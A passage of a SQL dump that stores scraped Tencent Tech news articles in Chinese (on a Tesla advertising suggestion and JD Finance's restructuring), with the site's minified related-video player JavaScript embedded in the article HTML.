Date).getTime();l.get(n.autoplay_cookie.key,function(e,a){if(!i){if(i=!0,r.debug_log(\"get localstorage from http://www.qq.com/public/final12/localStorageqq.htm differTime\",(new Date).getTime()-o+\"ms\",a),!e&&a){var l=JSON.parse(a);if(\"1\"===l.val)return void t(!0);var s=(new Date).getTime()-l.time,c=s/864e5;return r.debug_log(\"set \"+c.toFixed(2)+\"days\"),c<n.autoplay_cookie.expires?void t(!1):void t(!0)}t(!0)}}),setTimeout(function(){i||(t(!0),i=!0,r.debug_log(\"timeout cross localstorage 400ms\"))},800)}else t(!0),r.debug_log(\"no cross and default true\")}var n=t(\"./config\"),r=t(\"./tools\"),a=r.cookie,l=t(\"./crossLocalStorage\"),s={_config:n.autoplay_cookie,_set:function(t){if(a.set(this._config.key,t,{expires:this._config.expires,domain:this._config.domain,path:this._config.path}),window.JSON){var i={time:(new Date).getTime(),val:t};l&&l.set(this._config.key,i,function(){})}},get:function(){var t=a.get(this._config.key);return t},on:function(){this._set(\"1\")},off:function(){this._set(\"0\")}};i.exports={getAutoPlay:o,autoPlaySign:s}},{\"./config\":2,\"./crossLocalStorage\":3,\"./tools\":9}],2:[function(t,i,e){var o={};o.modName=\"dc_related_video\",o.autoplay_cookie={key:\"aboutVideo_v\",domain:\".qq.com\",path:\"/\",expires:30},o.playing_cookie={key:\"dc_vplaying\",domain:\".qq.com\",path:\"/\",expires:function(){return new Date((new Date).getTime()+72e5)}},o.mini_unmute={key:\"rv_mini_unmute\",domain:\".qq.com\",path:\"/\",expires:1},o.qqcomstore=null,o.videos=[],o.automute=!1,window.txPlayer_config=o,i.exports=o},{}],3:[function(t,i,e){document.domain=\"qq.com\";var o;o=function(t){this.id=this._getId(),this._init(t),this._origin=this._getOrigin(t),this._callbacks={_get:{},_set:{},_del:{}},this._bindEvent()},o.prototype._getId=function(){return id=0,function(){return++id}}(),o.prototype._init=function(t){var i=this,e=document.createElement(\"iframe\");e.style.display=\"none\",e.src=t,document.body.appendChild(e),this._hub=e.contentWindow,e.onload=function(){i.load()}},o.prototype.load=function(){},o.prototype._getOrigin=function(t){var i,e;return i=document.createElement(\"a\"),i.href=t,e=i.protocol+\"//\"+i.host},o.prototype._parseMessage=function(t,i,e){return JSON.stringify({method:t,key:i,value:e})},o.prototype._bindEvent=function(){var t=this;window.addEventListener?window.addEventListener(\"message\",function(i){var e=JSON.parse(i.data),o=e.error,n=e.result&&JSON.parse(e.result)||null;t._callbacks[\"_\"+e.method][e.key](o,n)},!1):\"\"},o.prototype.get=function(t,i){this._hub.postMessage(this._parseMessage(\"get\",t),this._origin),this._callbacks._get[t]=i},o.prototype.set=function(t,i,e){this._hub.postMessage(this._parseMessage(\"set\",t,i),this._origin),this._callbacks._set[t]=e},o.prototype.del=function(t,i){this._hub.postMessage(this._parseMessage(\"del\",t),this._origin),this._callbacks._del[t]=i};var n;n=window.addEventListener&&window.localStorage&&window.JSON?new o(\"http://www.qq.com/public/final12/localStorageqq.htm\"):null,i.exports=n},{}],4:[function(t,i,e){var o=t(\"./config\"),n=t(\"./tools\"),r=window.related_video_info,a=t(\"./inview\"),l=t(\"./autoPlay\");n.loadJquery(function(i){n.debug_log(\"jquery ready\"),a.init(function(){n.debug_log(\"video inview ready init\");var e=t(\"./ui\");i.getScript(\"http://vm.gtimg.cn/tencentvideo/txp/js/txplayer.js\").done(function(){function a(a){if(!s){s=1,e.autoPlaySW.setStatus(a),e.autoPlaySW.bind(function(t){l.autoPlaySign[t?\"on\":\"off\"](),t?d.play():-1===d.getPlayerState()?d.stop():d.pause()});var c=t(\"./play\"),d=c(r,a);d.on(\"ready\",function(){window.v_nomini||e.scrollPlay.init(d,o)}),d.on(\"playStateChange\",function(t){1==t.state&&i(window).trigger(\"video:pause\",o.modName),t.state>0?n.playingGlobalSign.on():n.playingGlobalSign.off()}),i(window).on(\"video:pause\",function(t,i){n.debug_log(\"\\u6682\\u505c\\u8bf7\\u6c42\\u6765\\u81ea\\uff1a \",i),i!==o.modName&&(-1===d.getPlayerState()?d.stop():d.pause())});var u=t(\"./getVideoList\");u(r,d);var p=t(\"./sportVip\");p.sportVip(d),d.on(\"showUIVipGuide\",function(t){n.debug_log(t),p.pop(d,\"1080p\")})}}n.debug_log(\"txplayer.js ready\",r);var s=0;try{l.getAutoPlay(a)}catch(c){n.debug_log(c),a(!0)}})})})},{\"./autoPlay\":1,\"./config\":2,\"./getVideoList\":5,\"./inview\":6,\"./play\":7,\"./sportVip\":8,\"./tools\":9,\"./ui\":10}],5:[function(t,i,e){function o(t,i){n=i;var e=function(i){d(t,i)};t.cid&&\"null\"!==t.cid?r.getVideoListByCoverId(t.cid,e):(r.debug_log(\"getLikeVideoList\",c.qq),r.getLikeVideoList(c.qq,t.vid,e))}var n,r=t(\"./tools\"),a=t(\"./ui\"),l=t(\"./play\"),s=t(\"./inview\"),c={qq:r.cookie.get(\"o_cookie\")||null},d=function(t,i){r.debug_log(\"videoList array\",i),i||a.playlist.hide();var e=[];e.push(t),$.each(i,function(i,o){o.vid!==t.vid&&e.push(o)});var o=\"\";$.each(e,function(t,i){i.title&&i.title.replace(/[^\\x00-\\xff]/gi,\"**\").length>40?i.stitle=r.cutstr2(i.title,40)+\"...\":i.stitle=i.title||\"\",o+=\"<li>\",o+=\" <a data-vid=\'\"+i.vid+\"\' data-idx=\'\"+t+\"\' href=\'\"+i.url+\"\' target=\'_self\' class=\'\"+(0===t?\"current\":\"\")+\"\' bosszone=\'rvideo_list_title\'>\",o+=\" <img src=\'\"+i.pic+\"\' onload=\'this.onload=null;this.style.opacity=1;\' />\",o+=\" <div>\",o+=\" <span>\"+i.stitle+\"</span>\",o+=\" </div>\",o+=\" </a>\",o+=\"</li>\"}),a.dom.$playlist_list.html(o),a.playlist.init();var c=function(t){if(t){var i,o;return $.each(e,function(e,n){return n.vid===t?(i=n,o=e,!1):void 0}),i&&(i.idx=o),i}},d=function(t){0>t||t>e.length-1||(l(e[t]),a.playlist.setCurrentToIdx(t),a.playlist.scrollToItemIdx(t))};a.dom.$playlist_list.on(\"click\",\"a[data-vid]\",function(t){t.preventDefault();var i=$(this).attr(\"data-vid\"),e=c(i);d(e.idx),r.trace.boss2619(\"user_click\",i)}),n.on(\"playStateChange\",function(t){if(0==t.state){var i=n.getVid(),o=c(i),a=o.idx+1,l=s.inview();r.debug_log(\"\\u64ad\\u653e\\u5668\\u662f\\u5426\\u53ef\\u89c1\",l),a<e.length&&l&&(r.debug_log(\"event: \\u64ad\\u653e\\u4e0b\\u4e00\\u4e2a\"),d(a),r.trace.boss2619(\"auto_next\",i))}})};i.exports=o},{\"./inview\":6,\"./play\":7,\"./tools\":9,\"./ui\":10}],6:[function(t,i,e){function o(){var t=$(window).scrollTop(),i=$(\".rv-root-v2\").offset().top,e=$(window).height();return t+e-70>=i&&i+518>t}var n=function(t){function i(){o()&&!e&&(t(),e=!0)}var e=!1;i(),$(window).scroll(function(t){i()})};i.exports={init:n,inview:o}},{}],7:[function(t,i,e){function o(t,i){var e=\"tvp-mod-player-\"+t.vid;if(r.setPlayerModId(e),r.setTitle(t.title,t.url),n)n.play({vid:t.vid});else{var t={useFlashVIPLayer:0,vid:t.vid,containerId:e,width:\"100%\",height:\"100%\",flashplayerUrl:\"http://imgcache.qq.com/tencentvideo_v1/playerv3/TencentPlayer.swf?max_age=86400&v=20161117\",autoplay:i};window.ARTICLE_INFO&&\"sports\"===window.ARTICLE_INFO.site&&(t.useFlashVIPLayer=-1,t.chid=8,t.authfrom=\"40001\",t.getUserType=function(){return window.login&&login.sportVip?10:window.login&&login.isLogin()?1:0},t.showOpenVIPGuide=function(){console.log(\"showOpenVIPGuide\"),\"function\"==typeof window.__tenplay_skipad&&window.__tenplay_skipad()}),n=new Txplayer(t)}return n}var n,r=t(\"./ui\");t(\"./config\");i.exports=o},{\"./config\":2,\"./ui\":10}],8:[function(t,i,e){function o(t){window.ARTICLE_INFO&&\"sports\"==window.ARTICLE_INFO.site&&(window.__tenplay_skipad=function(){return n(t,\"ad\"),1})}function n(t,i){var e=function(){var t=$(window).width(),i=$(window).height(),e=(t-560)/2,o=(i-320)/2;o=o>0?o:0,$(\"#sports_video_Vip\").css({left:e,top:o}),$(\"#sports_video_mask\").css({width:t,height:i})};if(0==$(\"#sports_video_Vip\").size()){var o=\"<div id=\'sports_video_mask\'></div>\",n=\"<div id=\'sports_video_Vip\'></div>\",r=\"<div id=\'sports_video_Vip_close\'>\\u2715</div><div class=\'sports_video_content\'><div style=\'color:#fff;font-size: 18px;margin-bottom: 30px;\'><b>\\u672c\\u7279\\u6743\\u4e3a\\u817e\\u8baf\\u4f53\\u80b2\\u4f1a\\u5458\\u4e13\\u4eab</b></div><a href=\'http://vip.sports.qq.com/\' target=\'_blank\' style=\'background:url(http://mat1.gtimg.com/sports/tangent/adImg/sportvip.png);display: block;width:221px;height: 43px;\'></a><div style=\'margin: 30px 0 5px;font-size: 15px;\'>\\u817e\\u8baf\\u4f53\\u80b2\\u4f1a\\u5458\\u7279\\u6743</div><li>NBA\\u3001NHL\\u7b49\\u8d5b\\u4e8b\\u72ec\\u5bb6\\u76f4\\u64ad</li><li>\\u4eab\\u53d7\\u514d\\u5e7f\\u544a\\u3001\\u84dd\\u5149\\u753b\\u8d28\\u3001\\u82f1\\u6587\\u539f\\u97f3</li><li>\\u70b9\\u51fb\\u201c\\u5f00\\u901a\\u201d\\u4e86\\u89e3\\u66f4\\u591a\\u7279\\u6743\\uff0c\\u5f00\\u901a\\u540e\\u8bf7\\u5237\\u65b0\\u672c\\u9875</li></div><div class=\'sports_video_code\'><div style=\'color:#fff;font-size: 12px;\'>\\u626b\\u4e00\\u626b\\u5f00\\u901a\\u4f53\\u80b2\\u4f1a\\u5458</div></div></div>\"+$(\"body\").append(o).append(n);$(\"#sports_video_Vip\").html(r),e(),$(window).resize(e)}$(\"#sports_video_mask,#sports_video_Vip_close\").click(function(){\"ad\"==i&&t.trigger(\"1080pVipGuideClose\",{action:\"closeSkipAd\"}),\"1080p\"==i&&t.trigger(\"1080pVipGuideClose\",{action:\"close1080p\"}),$(\"#sports_video_mask,#sports_video_Vip\").hide(),$(\"#sports_video_mask,#sports_video_Vip_close\").unbind(\"click\")}),$(\"#sports_video_mask,#sports_video_Vip\").show()}i.exports={sportVip:o,pop:n}},{}],9:[function(t,i,e){var o=t(\"./config\"),n=function(t,i){var e=document.head||document.getElementsByTagName(\"head\")[0]||document.documentElement,o=document.createElement(\"script\"),n=!1;o.async=!0,o.src=t,o.onload=o.onreadystatechange=function(){n||o.readyState&&!/loaded|complete/.test(o.readyState)||(n=!0,o.onload=o.onreadystatechange=null,o.parentNode&&o.parentNode.removeChild(o),o=null,\"function\"==typeof i&&i())},e.insertBefore(o,e.firstChild)},r=function(t){window.jQuery?t(window.jQuery):n(\"http://mat1.gtimg.com/libs/jquery/1.12.0/jquery.min.js\",function(){t(window.jQuery)})},a=function(){var t=function(){return t.get.apply(t,arguments)},i=t.utils={isArray:Array.isArray||function(t){return\"[object Array]\"===Object.prototype.toString.call(t)},isPlainObject:function(t){return!!t&&\"[object Object]\"===Object.prototype.toString.call(t)},toArray:function(t){return Array.prototype.slice.call(t)},getKeys:Object.keys||function(t){var i=[],e=\"\";for(e in t)t.hasOwnProperty(e)&&i.push(e);return i},escape:function(t){return String(t).replace(/[,;\"\\\\=\\s%]/g,function(t){return encodeURIComponent(t)})},retrieve:function(t,i){return null===t?i:t}};return t.defaults={},t.expiresMultiplier=86400,t.set=function(t,e,o){if(i.isPlainObject(t))for(var n in t)t.hasOwnProperty(n)&&this.set(n,t[n],e);else{o=i.isPlainObject(o)?o:{expires:o};var r=void 0!==o.expires?o.expires:this.defaults.expires||\"\",a=typeof r;\"string\"===a&&\"\"!==r?r=new Date(r):\"number\"===a&&(r=new Date(+new Date+1e3*this.expiresMultiplier*r)),\"\"!==r&&\"toGMTString\"in r&&(r=\";expires=\"+r.toGMTString());var l=o.path||this.defaults.path;l=l?\";path=\"+l:\"\";var s=o.domain||this.defaults.domain;s=s?\";domain=\"+s:\"\";var c=o.secure||this.defaults.secure?\";secure\":\"\";document.cookie=i.escape(t)+\"=\"+i.escape(e)+r+l+s+c}return this},t.remove=function(t){t=i.isArray(t)?t:i.toArray(arguments);for(var e=0,o=t.length;o>e;e++)this.set(t[e],\"\",-1);return this},t.empty=function(){return this.remove(i.getKeys(this.all()))},t.get=function(t,e){e=e||void 0;var o=this.all();if(i.isArray(t)){for(var n={},r=0,a=t.length;a>r;r++){var l=t[r];n[l]=i.retrieve(o[l],e)}return n}return i.retrieve(o[t],e)},t.all=function(){if(\"\"===document.cookie)return{};for(var t=document.cookie.split(\"; \"),i={},e=0,o=t.length;o>e;e++){var n,r,a=t[e].split(\"=\");try{n=decodeURIComponent(a[0])}catch(l){n=a[0]}try{r=decodeURIComponent(a[1])}catch(l){r=a[1]}i[n]=r}return i},t.enabled=function(){if(navigator.cookieEnabled)return!0;var i=\"_\"===t.set(\"_\",\"_\").get(\"_\");return t.remove(\"_\"),i},t}(),l=function(t,i){for(var e=0,o=\"\",n=0;n<t.length;n++)if(t.charCodeAt(n)>128?e+=2:e++,o+=t.charAt(n),e>=i)return o;return o},s=function(t,i){var e,o,n,r,a,l,s=c(function(){a=r=!1},i);return function(){e=this,o=arguments;var c=function(){n=null,a&&(l=t.apply(e,o)),s()};return n||(n=setTimeout(c,i)),r?a=!0:(r=!0,l=t.apply(e,o)),s(),l}},c=function(t,i,e){var o,n;return function(){var r=this,a=arguments,l=function(){o=null,e||(n=t.apply(r,a))},s=e&&!o;return clearTimeout(o),o=setTimeout(l,i),s&&(n=t.apply(r,a)),n}},d=function(){if(-1!==location.search.indexOf(\"debugv\")&&window.console){var t=Array.prototype.slice.call(arguments);t.unshift(\"[related_video_log]\"),console.log(t)}},u=function(t,i){return i=i||$.noop,\"string\"!=typeof t?void i(null):void $.ajax({method:\"GET\",url:\"http://data.video.qq.com/fcgi-bin/data\",data:{tid:\"25\",idlist:t,appid:\"10001009\",appkey:\"c5a3e1529a7ba805\",otype:\"json\"},dataType:\"jsonp\",cache:!0,scriptCharset:\"utf-8\"}).done(function(t){if(!t||t.errorno)return void i(null);var e=[],o=t.results[0].fields,n=o.c_vids||o.c_vclips||[];$.each(n,function(t,i){e.push({vid:i.c_vid,title:i.c_title,pic:i.c_pic_160_90,url:i.c_play_url})}),i(e)}).fail(function(){i(null)})},p=function(t,i,e){return e=e||$.noop,i?(t=t||\"\",void $.ajax({method:\"GET\",url:\"http://like.video.qq.com/fcgi-bin/like\",data:{msgtype:\"122\",uin:t,id:i,playright:\"2\",pidx:\"0\",size:\"11\",otype:\"json\",tablist:\"9\"},dataType:\"jsonp\",cache:!0,scriptCharset:\"utf-8\"}).done(function(t){if(!t||t.errmsg||!t.tablist)return void e(null);var i=[];$.each(t.tablist[0].cover_info,function(t,e){i.push({vid:e.id,title:e.title,pic:e.picurl,url:e.playurl})}),e(i)}).fail(function(){e(null)})):void e(null)},f={on:function(){window.dc_playing_sign||(window.dc_playing_sign={}),window.dc_playing_sign[o.modName]=!0},off:function(){window.dc_playing_sign||(window.dc_playing_sign={}),window.dc_playing_sign[o.modName]=!1},isAnyonePlaying:function(){if(window.dc_playing_sign){for(var t in window.dc_playing_sign)if(t!==o.modName&&window.dc_playing_sign.hasOwnProperty(t)&&window.dc_playing_sign[t])return!0;return!1}return!1}},_={boss2619:function(t,i){var e=$.param({BossId:\"2619\",CheckSum:\"1312852225\",sIp:\"\",iQQ:a.get(\"o_cookie\")||\"\",sOp:t||\"\",sDomain:window.location.hostname||\"\",sUrl:window.location.href||\"\",sRef:window.document.referrer||\"\",vid:i||\"\",_dc:\"\"+Math.random()});(new Image).src=\"http://btrace.qq.com/kvcollect?\"+e}};i.exports={getScript:n,loadJquery:r,cookie:a,cutstr2:l,throttle:s,debounce:c,debug_log:d,getVideoListByCoverId:u,getLikeVideoList:p,playingGlobalSign:f,trace:_}},{\"./config\":2}],10:[function(t,i,e){var o=t(\"./tools\"),n=t(\"./config\"),n={};n.mini_unmute={key:\"rv_mini_unmute\",domain:\".qq.com\",path:\"/\",expires:1};var r={};r.$root=$(\".rv-js-root\"),r.$title=r.$root.find(\".rv-title a\"),r.$autoplay_sw=r.$root.find(\".rv-js-autoplay\"),r.$player_wrap=r.$root.find(\".rv-player-wrap\"),r.$player_mod=r.$player_wrap.find(\".rv-player-mod\"),r.$player_mini_ctrl=r.$player_wrap.find(\".rv-player-mini-ctrl\"),r.$playlist_node=r.$root.find(\".rv-playlist\"),r.$playlist_scol=r.$playlist_node.find(\".rv-playlist-scroller\"),r.$playlist_list=r.$playlist_node.find(\"ol.rv-playlist-list\"),r.$playlist_ctrl=r.$playlist_node.find(\".rv-playlist-ctrl a\"),r.$playlist_prev=r.$playlist_ctrl.filter(\".prev\"),r.$playlist_next=r.$playlist_ctrl.filter(\".next\");var a=function(){return{width:r.$player_mod.width(),height:r.$player_mod.height()}};e.setPlayerModId=function(t){r.$player_mod.attr(\"id\",t)},e.setTitle=function(t,i){return r.$title.html(t).attr(\"href\",i)};var l=function(){var t=\"enabled\",i=function(){r.$autoplay_sw.attr(\"bosszone\",function(){return o()?\"bofang_button_close\":\"bofang_button_open\"})},e=function(e){r.$autoplay_sw[e?\"addClass\":\"removeClass\"](t),i()},o=function(){return r.$autoplay_sw.hasClass(t)},n=function(e){var n=r.$autoplay_sw;n.on(\"click\",function(){n.toggleClass(t),\"function\"==typeof e&&e.call(null,o()),i()})};return{bind:n,setStatus:e,getStatus:o,updateBosszone:i}}();e.autoPlaySW=l;var s=function(){var t,i,e,n,a,l,s=function(){f(),r.$playlist_next.on(\"click\",function(){p(\"forward\")}),r.$playlist_prev.on(\"click\",function(){p(\"backward\")}),r.$playlist_scol.on(\"scroll\",o.throttle(function(){var i=r.$playlist_scol.scrollLeft(),e=\"disabled\";0===i||i===a||0>=a?(0===i&&r.$playlist_prev.addClass(e),(i===a||0>=a)&&r.$playlist_next.addClass(e)):r.$playlist_ctrl.removeClass(e),-1!==navigator.appVersion.indexOf(\"MSIE 7.\")&&t.css(\"visibility\",\"inherit\").css(\"visibility\",\"visible\")},50)),r.$playlist_scol.trigger(\"scroll\")},c=function(t){r.$playlist_scol.stop().animate({scrollLeft:parseInt(t,10)},500)},d=function(o){if(!(0>o||o>i-1)){var n=r.$playlist_scol;$item=t.filter(\":eq(\"+o+\")\"),c(n.scrollLeft()+$item.position().left-n.width()/2+e/2),l=o}},u=function(i){var e=\"current\";t.find(\"> a.\"+e).removeClass(e),t.filter(\":eq(\"+i+\")\").find(\"> a\").addClass(e)},p=function(t){var i,o=r.$playlist_scol,n=o.scrollLeft(),l=Math.round(.7*o.width());\"forward\"===t?i=n+l:\"backward\"===t&&(i=n-l),e>i?i=0:i>a-e&&(i=a),c(i)},f=function(){t=r.$playlist_list.find(\"> li\"),i=t.length,e=t.filter(\":eq(0)\").outerWidth(!0),n=r.$playlist_scol.width()/e,r.$playlist_list.css(\"width\",i*e),a=r.$playlist_list.outerWidth(!0)-r.$playlist_scol.width()};return{init:s,setCurrentToIdx:u,scrollToItemIdx:d,forward:function(){p(\"forward\")},backward:function(){p(\"backward\")},hide:function(){return r.$playlist_node.slideUp(300)},update:f}}();e.playlist=s;var c=function(){var t,i=!1,e=function(){var t={};t.top=r.$root.offset().top,t.btm=t.top+r.$root.height();var i={height:$(window).height(),scrollTop:$(window).scrollTop()},e=t.top>=i.scrollTop&&i.scrollTop+i.height>=t.top,o=t.btm>=i.scrollTop&&i.scrollTop+i.height>=t.btm,n=t.top<=i.scrollTop&&i.scrollTop+i.height<=t.btm;return!!(e||o||n)},l=function(){var t=$(\"#Main-Article-QQ\");if(t.length>0){var i=t.offset(),e=t.width();return 2*i.left+e===$(window).width()?e:!1}return!1},s=function(o){var n=i?!0:e();if(!(!0===t&&!0===n||!1===t&&!1===n)){if(r.$player_wrap.css(\"visibility\",\"hidden\").toggleClass(\"rv-player-mini\",!n),n)r.$player_wrap.css({\"margin-left\":\"\",left:\"\"}),o.unMute&&o.unMute(),u(o);else{if(window.ARTICLE_INFO&&1===window.ARTICLE_INFO.isUnique)r.$player_wrap.addClass(\"rv-player-mini-sp1\");else{var a=l();if(a){var s,d,p=r.$player_wrap.width(),_=($(window).width()-a)/2-10>=p;_?(s=0-a/2-r.$player_wrap.width()-10,d=\"50%\"):(s=0,d=0),r.$player_wrap.css({\"margin-left\":s,left:d})}}\"1\"!==f.get()&&(o.mute&&o.mute(),u(o))}c(o),r.$player_wrap.css(\"visibility\",\"visible\"),t=n}},c=function(t){var i=a().height;t.resize({height:i})},d=r.$player_mini_ctrl.find(\"a[data-action=mute]\"),u=function(t){t.isMuted&&(n.mute=!!t.isMuted(),d.removeClass(\"mute-off mute-on\").addClass(t.isMuted()?\"mute-on\":\"mute-off\"))},p=function(t){var e=function(){s(t)};$(window).scroll(e),$(window).resize(e),r.$player_mini_ctrl.on(\"click\",\"a[data-action=close]\",function(e){e.preventDefault(),i=!0,s.apply(this)(),t.pause()}),r.$player_mini_ctrl.on(\"click\",\"a[data-action=resize]\",function(i){i.preventDefault(),r.$player_wrap.toggleClass(\"rv-player-mini-big\"),c(t)}),u(t),d.click(function(){t.isMuted&&(t.isMuted()?(t.unMute(),f.on()):(t.mute(),f.off()),d.removeClass(\"mute-off mute-on\").addClass(t.isMuted()?\"mute-on\":\"mute-off\"))})},f={_configName:\"mini_unmute\",_config:null,_set:function(t){this._config=n[this._configName],o.cookie.set(this._config.key,t,{expires:this._config.expires,domain:this._config.domain,path:this._config.path})},get:function(){return this._config=n[this._configName],o.cookie.get(this._config.key)},on:function(){this._set(\"1\")},off:function(){this._set(\"0\")}};return{detectVisible:e,init:p}}();e.scrollPlay=c,e.dom=r},{\"./config\":2,\"./tools\":9}]},{},[4]);</script><span>\n</span><span>\n\n</span><!-- /相关视频 --><span>\n\n\n\n\n\n\n\n\n</span><!--[if !IE]>|xGv00|d82f7a1238f1c1eaec2269b1b9ad1fc5<![endif]--><span>\n\n</span><p><strong>推广:更多精彩内容,请微信搜索关注公众号「腾讯科技」(ID:qqtech)。</strong></p><p align=\"center\"><img alt=\"快递业两头受堵:成本年年涨 谁先提价谁先死\" src=\"http://img1.gtimg.com/tech/pics/hv1/60/241/2186/142206165.jpg\"></p><span>\n</span></div>', '2017-03-03 02:04:15', '2017-03-03 02:04:15'); INSERT INTO `post` VALUES ('25', '五年级女生给特斯拉CEO提建议!马斯克:这是个好点子', 'http://img1.gtimg.com/tech/pics/hv1/221/148/2190/142442711.jpg', '<div id=\"Cnt-Main-Article-QQ\" class=\"Cnt-Main-Article-QQ\" bosszone=\"content\"><span>\n</span><p class=\"titdd-Article\">[<strong>摘要</strong>]到现在为止,特斯拉一直选择不做广告,任由产品来证明其价值。</p><p align=\"center\"><img alt=\"五年级女生给特斯拉CEO提建议!马斯克:这是个好点子\" src=\"http://img1.gtimg.com/tech/pics/hv1/221/148/2190/142442711.jpg\"></p><p>腾讯科技讯 3月3日,埃隆·马斯克(Elon Musk)怀抱着建造<!--keyword--><a class=\"a-tips-Article-QQ\" href=\"http://tech.qq.com/all/twht.htm\" target=\"_blank\"><!--/keyword-->宇宙<!--keyword--></a><!--/keyword-->飞船将人们送到月球上去的宏大志向,但与此同时,他也不忘听取“粉丝”的意见。</p><p>一名五年级的女生已从这位特斯拉(Tesla)兼SpaceX首席执行官那里得到了赞许的回复,她在此前向马斯克发出了一封信,建议他应该举办一场自制商业广告大赛。</p><p>“我注意到你不做广告。”这位名叫布丽娅(Bria)的小女生在信中写道,她的父亲是一名汽车业新闻记者。她说道,她和父亲进行过很多有关特斯拉的对话。</p><p>“许多人都会制作自制商业广告,其中有许多都是非常好的,很专业也很有娱乐性。因此,我认为你应该举办一场大赛,看谁能给特斯拉制作出最好的自制商业广告,获胜者的广告将可播出。”布丽娅写道。</p><p>布丽娅的父亲则为此发布了一条Twitter消息,他写道:“@elonmusk Elon,我女儿为做一个学校项目而给你写了一封信,并寄给了特斯拉,但我觉得我该贴在这里。不胜感谢!”</p><p>到现在为止,特斯拉一直都选择不做广告,任由产品本身及其驾驶者自我证明价值。“传统上来说我们会避免投入营销成本。”特斯拉在其“营销策略”网站上写道。</p><p>不过,马斯克已对布丽娅的建议表示赞赏,他在对其父作出的回复中写道:“谢谢你这么可爱地写信给我。这听起来是个很棒的点子,我们会去做的!”</p><p>布丽娅说她长大以后想要做个政治家,但如果她有意在营销领域中谋求一份事业的话,那么现在就已经有了一个很好的开头了。(瑞雪) </p><div class=\"techinding\"><p><strong>推广:腾讯创业频道是腾讯旗下专注于创投领域的媒体平台。如果你想被获得千万网友和投资人的关注,即刻微信搜索qqchuangye关注我们,递交你的项目。</strong></p><p align=\"center\"><img alt=\"五年级女生给特斯拉CEO提建议!马斯克:这是个好点子\" src=\"http://img1.gtimg.com/tech/pics/hv1/18/13/2189/142343058.jpg\"></p></div><span>\n</span></div>', '2017-03-03 02:04:17', '2017-03-03 02:04:17'); INSERT INTO `post` VALUES ('26', '京东金融拆VIE架构估值超500亿元 投资者预期五年后上市', 'http://p1yvzhu3t.bkt.clouddn.com/jd.jpg', '<div id=\"Cnt-Main-Article-QQ\" class=\"Cnt-Main-Article-QQ\" bosszone=\"content\"><span>\n</span><p class=\"titdd-Article\">[<strong>摘要</strong>]在原有供应链金融、消费金融等业务板块外,京东金融新设金融科技业务板块。</p><p align=\"center\"><img alt=\"京东金融拆VIE架构估值超500亿元 投资者预期五年后上市\" src=\"http://img1.gtimg.com/tech/pics/hv1/232/151/2190/142443487.jpg\"></p><p>本报记者 王晓 北京报道</p><p>21世纪经济报道记者从接近交易的市场人士处独家了解到,此次部分VIE分拆交易份额曾面向市场定向募资,要求投资者为持牌金融机构。</p><p>京东集团发布的2016年财报透露了剥离京东金融的最新进展。</p><p>3月2日,京东集团发布的2016年财报显示,其2016年全年净收入达2602亿元人民币同比增长44%,并实现扭亏为盈,全年非美国通用会计准则下(Non-GAAP)净利润达到10亿元人民币,2015年这一数据则为亏损9亿元。</p><p>财报显示,京东集团于3月1日签署了关于重组京东金融的最终协议。根据该协议,京东集团将出让其持有的所有京东金融股份,相当于京东金融68.6%的股份。</p><p>交易完成后,京东集团将不再拥有京东金融的法律所有权或有效控制权,京东集团将获得大约143亿元人民币现金以及在京东金融未来实现累积税前盈利后,获得其税前利润的40%。未来如果中国相关监管法规许可,京东集团有权将其在京东金融的权利转换为京东金融40%的股权。</p><p>即京东金融通过当前68.6%的股权,获得143亿元现金和未来40%的可转收益权。随着企业的发展未来的股权价值有望大于当前的股权价值,且上述可转收益权不承担亏损,因此投资者投资143亿元获得的股权价值小于28.6%,京东金融的估值已经超过500亿元。而在2016年1月16日红杉资本中国基金、嘉实投资和中国太平领投的首轮增资时,其估值为466.5亿元。</p><p>财报中还披露,京东集团董事长兼首席执行官刘强东<!--keyword-->(<span class=\"infoMblog\"><a class=\"a-tips-Article-QQ\" href=\"http://t.qq.com/liuqiangdong#pref=qqcom.keyword\" rel=\"liuqiangdong\" reltitle=\"刘强东\" target=\"_blank\">微博</a></span>)<!--/keyword-->将按照和其他第三方投资人一致的价格购入京东金融4.3%的股份,并遵循同样的协议。另外,依照其所持有的股份以及通过投票权委托或其它安排获取的员工和其他投资人的投票权,刘强东仍将拥有京东金融多数表决权。</p><p>此次重组始于2016年11月16日,京东金融在2016年第三季度财报中披露了这一计划。对于这一调整,京东集团相关负责人对21世纪经济报道记者表示,主要目的是将京东金融转型为只有中国投资者作为股东的企业,以便在中国开展某些需要政府许可的金融服务业务,并更好利用中国资本市场的资金。</p><p>21世纪经济报道记者从接近交易的市场人士处独家了解到,上述部分VIE分拆交易份额曾面向市场定向募资,要求投资者为持牌金融机构。“主要是银行,个人投资者想要参与必须通过持牌金融机构的资管计划,一般是银行向私人银行客户推荐,另外有企业财务公司参与。”</p><p>上述市场人士还介绍,投资者的参与积极性很高,仅一个省份的意向投资金额就占总金额近半。投资者预期京东金融将在5年后合格上市。</p><p>不过京东金融方面对21世纪经济报道回应称,京东金融目前还没有上市计划和时间表。</p><p>上述交易预计于2017年中旬完成。京东金融的财务数据将不再合并到京东集团的财务报表。</p><p>在原有供应链金融、消费金融、财富管理、支付、众筹、保险、证券、农村金融等业务板块外,京东金融新设金融科技业务板块。在京东金融2017年沟通会上,京东金融副总裁许凌表示,2017年将重点布局风控、技术投入、科技输出、场景拓展、大支付、农村金融六大领域,致力于将金融科技能力实现全面输出。 </p><p><strong>精彩视频推荐</strong></p><p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<!-- 相关视频 --> <!-- built at: Wed Jan 18 2017 16:25:45 GMT+0800 (中国标准时间) -->\n\n<script type=\"text/javascript\">\n var related_video_info = {\n vid: \'u0022qd2sl7\',\n cid: \'0uky2j575eso7pr\',\n url: \'http://v.qq.com/page/u/l/7/u0022qd2sl7.html\',\n pic: \'http://vpic.video.qq.com/20547853/u0022qd2sl7_ori_1.jpg\',\n title: \'八年后在中国能坐超级高铁?俞敏洪、盛希泰去帮你问了问\'\n };\n</script>\n\n\n<style type=\"text/css\">.rv-root-v2{font-family:\"\\5FAE\\8F6F\\96C5\\9ED1\",sans-serif;color:#000}.rv-root-v2 a{text-decoration:none;color:#000}.rv-root-v2 h1,.rv-root-v2 h2,.rv-root-v2 h3,.rv-root-v2 ol,.rv-root-v2 p,.rv-root-v2 ul{display:block;padding:0;margin:0}.rv-root-v2 img{border:0}.rv-root-v2 .rv-cf:after,.rv-root-v2 .rv-cf:before{content:\" \";display:table}.rv-root-v2 .rv-cf:after{clear:both}.rv-root-v2 .rv-cf{*zoom:1}.rv-root-v2 .rv-top{height:40px;line-height:40px;background-color:#f3f3f3}.rv-root-v2 